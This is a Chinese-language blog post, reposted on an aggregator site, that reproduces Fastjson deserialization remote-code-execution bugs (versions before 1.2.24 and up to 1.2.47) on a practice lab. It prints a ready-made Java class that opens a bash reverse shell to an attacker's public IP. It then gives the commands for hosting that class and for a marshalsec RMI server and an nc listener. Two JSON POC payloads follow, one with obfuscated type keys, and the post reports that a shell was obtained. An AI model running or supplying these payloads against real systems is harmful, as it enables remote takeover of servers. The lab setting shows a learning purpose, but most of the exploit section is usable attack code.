Fastjson反序列化漏洞复现小结

这篇具有很好参考价值的文章主要介绍了Fastjson反序列化漏洞复现小结。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

Fastjson反序列化

简单来说:Fastjson是解析JSON格式的字符串的,允许用户在输入JSON串时通过“@type”键对应的value指定任意反序列化类名,进而执行类里的恶意代码。

Fastjson漏洞概况

1、Fastjson<1.2.24远程代码执行(CNVD-2017-02833 )
2、Fastjson<=1.2.47远程代码执行漏洞(CNVD-2019-22238)
3、Fstjson < =1.2.60 远程代码执行漏洞(CNVD-2019-32498 )
4、Fastjson =1.2.66 Fastjson JtaTransactionConfig存在命令执行漏洞(CNVD-2020-22719)
5、Fastjson =1.2.68 命令执行漏洞(CNVD-2020-30827 )
6、Fastjson <=1.2.80 远程代码执行漏洞(CNVD-2022-40233)

漏洞复现

判断是否使用Fastjson以及Fastjson版本

一、最简单的方法是以POST方式提交一个“{”,查看报错信息。
以Vulfocus靶场为例
访问地址抓包–》发送到repeater–》右键Change request method–》输入"{"字符 --》Send。
Fastjson反序列化漏洞复现小结二、假设无任何返回信息,配合dnslog网站进行验证…建议参考大佬文章。

链接1: 第18篇:fastjson反序列化漏洞区分版本号的方法总结
链接2:fastjson1.2.80 漏洞分析复现

三、上工具Fastjsonscan
下载地址https://gitcode.net/mirrors/a1phaboy/FastjsonScan。

Fastjson<1.2.24远程代码执行(CNVD-2017-02833 )

工具:一个VPS 、 java环境(1.8.0)、python3、marshalsec(下载地址:https://github.com/RandomRobbieBF/marshalsec-jar)

以下步骤均在VPS上操作。

1、创建一个Exploit.java文件,内含所需执行命令的语句。

import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"bash", "-i",">&","/dev/tcp/公网IP/9999","0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor()
        } catch (Exception e) {
            
        }
    }
}

2、编译Exploit.java文件

javac Exploit.java

会生成一个Exploit.class文件,当前目录下
Fastjson反序列化漏洞复现小结
3、此时在当前目录利用python开启http服务

python3 -m http.server 8000

Fastjson反序列化漏洞复现小结
验证:访问ip:8000
Fastjson反序列化漏洞复现小结
4、利用marshalsec启动RMI服务,监听8888,当有外部有rmi请求8888时,使其加载8000端口上的Exploit.class文件

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://xx.xx.xx.xx:8000/#Exploit" 8888

Fastjson反序列化漏洞复现小结
5、nc开启监听
nc -lvnp 9999

此时VPS这三个端口在开放状态:
9999 nc监听
8888 RMI服务监听
8000 http服务

后续操作在自己电脑操作:
Brupsuit抓包–改提交方式POST–Content-Type:改为application/json --添加POC

POC


{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://IP:8888/Exploit",
        "autoCommit":true
    }
}

Fastjson反序列化漏洞复现小结
成功反弹shell

Fastjson反序列化漏洞复现小结

Fastjson<=1.2.47远程代码执行漏洞(CNVD-2019-22238)

除POC不同,其余步骤均与Fastjson<1.2.24远程代码执行(CNVD-2017-02833 )一致

POC

{
 "hrg786": {
   "@\u0074\x79\x70e": "Lcom.s\u0075n.\u0072\u006Fwse\x74\x2E\u004A\u0064\u0062c\u0052owS\u0065t\u0049mpl;",
   "dataSourceName": "rmi://IP:8888/Exploit",
   "autoCommit": true
 }
}

Fastjson反序列化漏洞复现小结
成功获取flag
Fastjson反序列化漏洞复现小结
其余漏洞网上并未找到详细利用方式,暂时先搁置。文章来源地址https://www.toymoban.com/news/detail-404662.html

到了这里,关于Fastjson反序列化漏洞复现小结的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【java安全】FastJson反序列化漏洞浅析

    0x00.前言 前面我们学习了RMI和JNDI知识,接下来我们就可以来了解一下FastJson反序列化了 0x01.FastJson概述 FastJson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持 将JavaBean序列化为JSON字符串,也可以将JSON字符串反序列化到JavaBean 0x02.FastJson使用 首先我们需要使用

    2024年02月11日
    浏览(34)
  • 渗透测试-Fastjson反序列化漏洞getshell

    目录 前言 测试环境准备 dnslog测试 搭建rmi服务器准备恶意类 引用JdbcRowSetImpl攻击 反弹shell$命令执行 总结 :fastjson 1.2.24反序列化导致任意命令执行漏洞 注:本次渗透测试全在虚拟机中进行仅用于学习交流,请勿在实际网络中攻击他人服务器。 前言         最原始

    2024年02月07日
    浏览(40)
  • Fastjson反序列化漏洞(1.2.24 RCE)

    目录 (一)Fastjson介绍 1、认识Fastjson 1.1 序列化 1.2  反序列化 1.3 @type 自省 Autotype (二)漏洞原理 1、比较常用的攻击类 1.1  com.sun.rowset.JdbcRowSetImpl 1.2 com.sun.org.apache.xalan.internal.xsltc.trax. TemplatesImp (三)1.2.24 RCE复现 1、vulnhub启动 注意:Linux配置JRE版本 2、攻击机监听(

    2024年02月07日
    浏览(34)
  • fastjson 1.2.24 反序列化漏洞(审计分析)

    环境 JDK 8u181 Fastjson 1.2.24 POC 跟进 parse 方法 跟进到底层deserialze 方法 Poc 中传入的 dataSourceName : ldap://192.168.3.229:8084/vnSYPYwMs 值 这里实际对应 setDataSourceName 方法,调用此方法并传入 ldap 跟进 setDataSourceName 方法,这里只是简单赋值   步出回此方法 继续步出,进入parseRest方法 跟进

    2023年04月14日
    浏览(27)
  • fastJson反序列化漏洞和log4j漏洞

    有 attach.class (编译好的文件) 攻击者建立rmi服务端,于rmi服务端建造一系列攻击对象 ,假设远程地址为 http://abc,可url链接到恶意class-attach.class 若被攻击者访问到此服务 rmi://abc/attach.class ,静态代码块会优先加载,无需构造对象。 fastJson通过序列化漏洞 fastJson=1.2.47 (高版本添

    2024年02月16日
    浏览(41)
  • 反序列化漏洞及漏洞复现

    问题 :为什么要序列化? 序列化,“将对象的状态信息转换为可以存储或传输的形式的过程”,这种形式大多为字节流、字符串、Json 串。在序列化期间内,将对象当前状态写⼊到临时或永久性的存储区。以后,就可以通过从存储区中读取或还原(反序列化)对象的状态,重

    2024年02月09日
    浏览(31)
  • Web攻防--JNDI注入--Log4j漏洞--Fastjson反序列化漏洞

    什么是JNDI JNDI全称为 Java Naming and Directory Interface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。 JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。 简单从安全角度

    2024年02月09日
    浏览(31)
  • typecho 反序列化漏洞复现

    下载typecho14.10.10  安装,这里需要安装数据库  POC.php  POST数据包如下,访问install.php并携带参数finish,Referer来自本网站,POST传递恶意参数 步骤和前面一样,把payload放__typecho_config=就行

    2024年02月09日
    浏览(32)
  • 漏洞复现——shiro反序列化

    今天咱们的主角是shiro反序列化命令执行漏洞。该漏洞在HVV等大型攻防项目中,经常被作为突破口。简单介绍了解一下还是很有必要的。废话不多说,进入正题。 一、漏洞描述: Apache Shiro是美国阿帕奇(Apache)软件基金会的一套用于执行认证、授权、加密和会话管理的Java安

    2024年02月09日
    浏览(28)
  • ActiveMQ反序列化漏洞原理+复现

    ActiveMQ反序列化漏洞 ActiveMQ ActiveMQ是开源消息总线,消息中间件 工作原理 通过使用消息队列,实现服务的异步处理,主要目的是减少请求响应时间和解耦合。 消息队列,服务器A将客户发起的请求放入服务器B的消息队列中,服务器B从消息队列中取出并处理。 从以上内容中可

    2024年02月05日
    浏览(44)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包